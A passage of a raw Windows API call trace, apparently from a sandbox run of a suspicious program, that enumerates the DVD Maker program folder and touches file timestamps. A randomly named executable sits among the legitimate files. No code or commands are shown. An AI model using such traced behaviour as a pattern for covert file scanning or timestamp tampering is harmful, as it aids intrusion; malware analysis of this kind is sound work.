ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05400 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289e3f60, ftCreationTime.dwHighDateTime=0x1d540dc, ftLastAccessTime.dwLowDateTime=0xa42711d0, ftLastAccessTime.dwHighDateTime=0x1d5323f, ftLastWriteTime.dwLowDateTime=0xa42711d0, ftLastWriteTime.dwHighDateTime=0x1d5323f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="initialmasturbation.exe", cAlternateFileName="")) returned 1 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0055.521] GetLastError () returned 0x12 [0055.521] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459c78 [0055.521] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.521] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.522] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0055.522] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0055.522] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0055.522] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0055.522] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.522] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.522] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.522] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a738, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a738, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a738) returned 1 [0055.522] NtClose (Handle=0x168) returned 0x0 [0055.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bf8 [0055.523] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0055.523] GetLastError () returned 0x12 [0055.523] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459d38 [0055.523] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0055.523] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0055.523] GetLastError () returned 0x12 [0055.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee48c8) returned 1 [0055.523] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4840) returned 1 [0055.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289e3f60, ftCreationTime.dwHighDateTime=0x1d540dc, ftLastAccessTime.dwLowDateTime=0xa42711d0, ftLastAccessTime.dwHighDateTime=0x1d5323f, ftLastWriteTime.dwLowDateTime=0xa42711d0, ftLastWriteTime.dwHighDateTime=0x1d5323f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="initialmasturbation.exe", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, 